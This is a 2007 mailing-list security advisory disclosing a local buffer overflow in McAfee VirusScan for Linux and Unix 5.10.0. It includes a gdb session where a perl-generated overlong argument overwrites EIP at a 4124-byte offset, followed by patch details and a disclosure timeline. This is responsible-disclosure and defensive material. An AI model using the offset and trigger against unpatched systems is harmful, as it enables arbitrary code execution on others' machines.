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Date: Wed, 15 Aug 2007 14:56:54 +0200
From: Sebastian Wolfgarten <>
Subject: McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

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Security advisory: McAfee Virus Scan for Linux and Unix v5.10.0 Local
Buffer Overflow


Description: Local buffer overflow vulnerability in McAfee Virus Scan
for Linux and Unix allows arbitrary code execution

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)

Date: August 15th, 2007

Severity: Low-Medium



McAfee Virus Scan for Linux and Unix is a command-line version of the
popular McAfee anti-virus scanner running on the Linux operating system
as well as on other Unices (e.g. AIX, Solaris, HP-UX etc.). It was
discovered that the product is prone to a classic buffer overflow
vulnerability when attempting to scan files or directories with a
particularly long name. This vulnerability results in the local
execution of arbitrary code with the privileges of the user running the
scanner, privilege escalation is by default not possible. Remote
exploitation appears to be infeasible due to file length limitations in
popular file systems.


The overflow occurs when the product tries to scan a file or directory
with a name that is longer than a certain size (approx. 4124+ bytes).
For example on a Debian Linux 3.1 test system, it takes 4124+4 bytes to
successfully overwrite the EIP register and thus execute arbitrary code:

# /usr/local/uvscan/uvscan --version
Virus Scan for Linux v5.10.0
Copyright (c) 1992-2006 McAfee, Inc. All rights reserved.
(408) 988-3832  EVALUATION COPY - May 26 2006

Scan engine v5.1.00 for Linux.
Virus data file v4777 created Jun 05 2006
Scanning for 194376 viruses, trojans and variants.

# gdb /usr/local/uvscan/uvscan
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions. There is
absolutely no warranty for GDB. Type "show warranty" for details. This
GDB was configured as "i386-linux"...(no debugging symbols found)
Using host libthread_db library "/lib/tls/".

(gdb) run `perl -e 'print "A"x4124 . "B"x4'`
Starting program: /usr/local/uvscan/uvscan `perl -e 'print "A"x4124 .
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread 1080238208 (LWP 2461)]
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1080238208 (LWP 2461)]
0x42424242 in ?? ()
(gdb) info registers
eax            0x1      1
ecx            0x8068430        134644784
edx            0x1      1
ebx            0x41414141       1094795585
esp            0xbfffdc40       0xbfffdc40
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x42424242       0x42424242
eflags         0x282    642
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51


An exploit for this vulnerability has been developed but will not
released to the general public at this time.


To address this problem, the vendor has released McAfee VirusScan
Command Line Scanner for Linux and Unix version 5.20. Thus all users of
the product are asked to test and install this patch as soon as
possible. McAfee has also published a dedicated security bulletin that
covers the problem (see


18. December 2006 - Notified
19. December 2006 - Vendor responded that vulnerability is being
19. December to 15. August 2007 - Weekly vendor report on the progress
of the development of the patch
01. August 2007 - Release of patch
15. August 2007 - Public disclosure

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